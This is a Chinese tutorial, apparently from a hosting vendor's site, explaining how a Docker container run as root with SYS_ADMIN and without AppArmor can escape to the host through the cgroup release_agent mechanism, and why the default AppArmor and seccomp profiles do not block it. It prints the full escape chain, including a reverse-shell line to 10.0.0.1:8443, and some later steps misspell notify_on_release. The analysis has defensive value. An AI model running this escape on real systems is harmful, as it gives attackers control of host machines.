您好,登錄后才能下訂單哦!
本篇內容主要講解“Docker SYS_ADMIN容器逃逸原理舉例分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Docker SYS_ADMIN容器逃逸原理舉例分析”吧!
Docker容器的不安全配置可能導致應用存在容器逃逸漏洞。本文將詳細介紹利用SYS_ADMIN Capability進行容器逃逸的原理。
Docker容器不同于虛擬機,它共享宿主機操作系統內核。宿主機和容器之間通過內核命名空間(namespaces)、內核Capabilities、CGroups(control groups)等技術進行隔離。
Linux內核在2.2版本之后,將root權限細分成了多個被稱為Capability的單元。比如,Docker容器里可能需要把Web server綁定到值小于1024的端口上,這個操作需要的Capability是“CAP_NET_BIND_SERVICE”,如果給執行Web server的用戶授予這個Capability,那么在綁定端口的時候,Web server就不需要以root用戶運行了。
在大部分情況下,容器里的進程不需要以“完整”的root用戶運行,Docker給容器內root賬號只授予了幾個默認的Capabilities,其他的禁用。這意味著容器里的root用戶權限比宿主機上真正的root用戶權限要小的多。
而在實際的使用過程中,很多用戶會違背Docker的這些安全防護配置原則。比如為了方便,容器以root用戶啟動,同時為了執行一些特權操作,給root用戶額外授權一些Capability,例如SYS_ADMIN。
如果一個Docker容器的啟動方式滿足以下條件,攻擊者在容器中就可以逃逸到宿主機上。
以root用戶的身份在容器內運行;
容器啟用SYS_ADMIN Capability;
容器沒有啟用Docker默認的AppArmor配置文件docker-default,或者AppArmor允許運行mount syscall;
其中,條件1和2是必需的,而條件3在某些宿主機上比較容易滿足,比如CentOS等Red Hat系的Linux操作系統上默認沒有安裝AppArmor。
例如以下面的命令開啟一個Ubuntu容器:
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
其中,”--cap-add=SYS_ADMIN“表示給Docker容器SYS_ADMIN的Capability。“--security-opt apparmor=unconfined”表示去除Docker默認的AppArmor配置。
攻擊者可以在容器內通過掛載宿主機cgroup,并利用cgroup notify_on_release的特性在宿主機執行shell,從而實現容器逃逸。執行步驟如下:
容器內掛載宿主機cgroup,并自定義一個cgroup;
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
配置該cgroup的notify_no_release和release_agent;
echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd chmod a+x /cmd
這里使用了sh tcp的反彈shell來逃逸容器,也可以執行其他任意linux shell命令。
觸發release_agent執行。
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
下面詳細說明一下各個步驟的操作和原理。
漏洞利用第一步是掛載宿主機的memory cgroup。
cgroup(control group、控制群組)是 Linux kernel一項進行資源分配(如 CPU 時間、系統內存、網絡帶寬或者這些資源的組合)的功能。使用mount -t cgroup
命令可以查看宿主機當前的cgroup。
進到要掛載的memory cgroup里。
該文件夾包含了系統管理員對memory資源的配置,其中docker文件夾里包含了docker針對容器memory資源的默認cgroup配置。
默認情況下,容器在啟動時會在/sys/fs/cgroup
目錄各個subsystem目錄的docker子目錄里,生成以容器 ID 為名字的子目錄
查看宿主機里的memory cgroup目錄,可以看到docker目錄里多了一個目錄9d14bc4987d5807f691b988464e167653603b13faf805a559c8a08cb36e3251a
,這一串字符是容器ID,這個目錄里的內容就是用戶在容器里查看/sys/fs/cgroup/memory
的內容。
mount命令是一個系統調用(syscall)命令,系統調用號為165。執行syscall需要用戶具備CAP_SYS_ADMIN的Capability。
如果在宿主機啟動時,添加了--cap-add SYS_ADMIN
參數,那root用戶就能在容器內部就能執行mount掛載cgroup。(docker默認情況下不會開啟SYS_ADMIN Capability)
漏洞利用的第一步是在容器里創建一個臨時目錄/tmp/cgrp
,并使用mount
命令將系統默認的memory類型的cgroup重新掛載到/tmp/cgrp
上。
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
其中,-t
參數表示mount的類別為cgroup,-o
表示掛載的選項。對于cgroup,掛載選項就是cgroup的subsystem,每個subsystem代表一種資源類型,比如cpu、memory。具體可以參考鏈接:cgroup subsystems。
執行該命令之后,宿主機的memory cgroup被掛載到了容器中,對應目錄/tmp/cgrp。
需要注意的是,對cgroup進行重新掛載的操作時,只有當被掛載目標的hierarchy為空時才能成功。因此,如果這里memory的重新掛載不成功的話,可以換其他的subsystem。
接著就是在這個cgroup類型里建一個子目錄x。
mkdir /tmp/cgrp/x
查看/tmp/cgrp/x
可以發現有很多和memory相關的配置。
接下來將使用x
來作為POC操作的主要目標。
漏洞利用的第二步和notify_no_release有關。cgroup的每一個subsystem都有參數notify_on_release,這個參數值是Boolean型,1或0。分別可以啟動和禁用釋放代理的指令。如果notify_on_release啟用,當cgroup不再包含任何任務時(即,cgroup的tasks文件里的PID為空時),系統內核會執行release_agent參數指定的文件里的內容。
需要注意的是release_agent文件并不在/tmp/cgrp/x
目錄里,而是在memory cgroup的根目錄/tmp/cgrp
里。這樣的設計可以用來自動移除根cgroup里所有空的cgroup。
將/tmp/cgrp/x的notify_no_release屬性設置為1。
echo 1 > /tmp/cgrp/x/notify_no_release
接著將release_agent指定為容器在宿主機上的cmd文件。具體操作是先獲取docker容器在宿主機上的存儲路徑。
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
文件/etc/mtab存儲了容器中實際掛載的文件系統。
這里使用sed
命令匹配perdir=(
和)
之間的非逗號內容,從上圖可以看出,host_path
就是docker的overlay存儲驅動上的可寫目錄upperdir.
在這個目錄里創建一個cmd文件,并把它作為/tmp/cgrp/x/release_agent參數指定的文件。
echo "$host_path/cmd" > /tmp/cgrp/release_agent
接下來,POC將要執行的shell寫到cmd文件里,并賦予執行權限。
echo '#!/bin/sh' > /cmd echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd chmod a+x /cmd
最后,POC觸發宿主機執行cmd文件中的shell。
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
該命令啟動一個sh進程,將sh進程的PID寫入到/tmp/cgrp/x/cgroup.procs里,這里的\$\$
表示sh進程的PID。
在執行完sh -c
之后,sh進程自動退出,這樣cgroup /tmp/cgrp/x
里不再包含任何任務,/tmp/cgrp/release_agent文件里的shell將被操作系統內核執行。
利用SYS_ADMIN權限逃逸Docker容器的關鍵在于容器要能夠掛載宿主機的cgroup。為禁止容器執行mount syscall,Docker在限制用戶Capabilities的基礎上,會默認開啟AppArmor和seccomp這兩個安全防護工具。但關于這兩個工具的配置,Docker給出的默認配置有一些值得注意的“瑕疵”。
關于AppArmor,CentOS等Red Hat系的Linux操作系統上默認沒有安裝AppArmor。這樣文章開頭提到的漏洞利用條件第3條,“容器必須沒有啟用Docker默認的AppArmor配置文件docker-default,或者AppArmor允許運行mount syscall”,將很容易滿足,不需要顯式地添加“--security-opt apparmor=unconfined”參數。
AppArmor(Application Armor)是Linux內核的一個安全模塊,AppArmor允許系統管理員將每個程序與一個安全配置文件關聯,從而限制程序的功能。簡單的說,AppArmor是與SELinux類似的一個訪問控制系統,通過它用戶可以指定程序可以讀、寫或運行哪些文件,是否可以打開網絡端口等。
比如,Docker官網給出了一個Nginx加固的例子。
profile docker-nginx flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base> ... deny /bin/** wl, deny /boot/** wl, deny /dev/** wl, deny /etc/** wl, deny /home/** wl, ...
其中,deny /bin/** wl表示阻止/bin目錄下及任意層子目錄下的寫權限,w:寫,l:創建硬鏈接。
Docker采用的默認配置文件是docker-default。它具有適度的保護性,同時提供廣泛的應用程序兼容性。查看該配置文件生成模板,可以發現在第43行配置了禁止容器調用mount。
... deny mount, deny /sys/[^f]*/** wklx, deny /sys/f[^s]*/** wklx, deny /sys/fs/[^c]*/** wklx, deny /sys/fs/c[^g]*/** wklx, deny /sys/fs/cg[^r]*/** wklx, ...
這里也可以發現,該配置文件并沒有禁止對/sys/fs/cgroup目錄的讀寫。如果在實際利用過程中,發現容器里無法讀寫cgroup目錄,可以檢查容器是否在AppArmor配置里禁止了對cgroup目錄的讀寫。
Docker默認情況下使用docker-default策略啟動容器。此時,即使使用SYS_ADMIN Capbility運行該容器,它也會阻止容器執行mount系統調用。除非在容器啟動時用參數--security-opt apparmor=unconfined
覆蓋配置。
雖然Docker默認的AppArmor配置能很好地阻止容器調用mount,但并不是所有的宿主機都支持AppArmor。對于Debian系的linux,比如Ubuntu,默認安裝了AppArmor和SeLinux。而對于Red hat系的linux,比如CentOS,默認使用SeLinux,沒有安裝AppArmor。這就導致在Red hat系linux宿主機上,有可能不需要容器啟用--security-opt apparmor=unconfined
參數也能執行mount系統調用。在某個CentOS測試機上進行測試,結果如下:
查看docker info,可以發現安全選項“Security Options”里沒有開啟AppArmor,只開啟了seccomp。因此,在僅添加“--cap-add=SYS_ADMIN”參數的情況下CentOS宿主機仍然能成功執行POC。
在上一節的docker info輸出中,可以看到Docker也會有一個默認的seccomp配置。那為什么seccomp沒有能阻止容器調用mount?
這得從Docker默認的seccomp配置說起,在配置模板里,關于mount的配置從第600行開始。
{ "names": [ "bpf", "clone", "fanotify_init", "fsconfig", "fsmount", "fsopen", "fspick", "lookup_dcookie", "mount", "move_mount", "name_to_handle_at", "open_tree", "perf_event_open", "quotactl", "setdomainname", "sethostname", "setns", "syslog", "umount", "umount2", "unshare" ], "action": "SCMP_ACT_ALLOW", "args": [], "comment": "", "includes": { "caps": [ "CAP_SYS_ADMIN" ] }, "excludes": {} },
可以看到,Docker seccomp默認配置僅依靠SYS_ADMIN來限制執行mount系統調用。如果容器啟動時使用了“--cap-add=SYS_ADMIN”參數,那么seccomp就不能很好地防護容器了。
到此,相信大家對“Docker SYS_ADMIN容器逃逸原理舉例分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。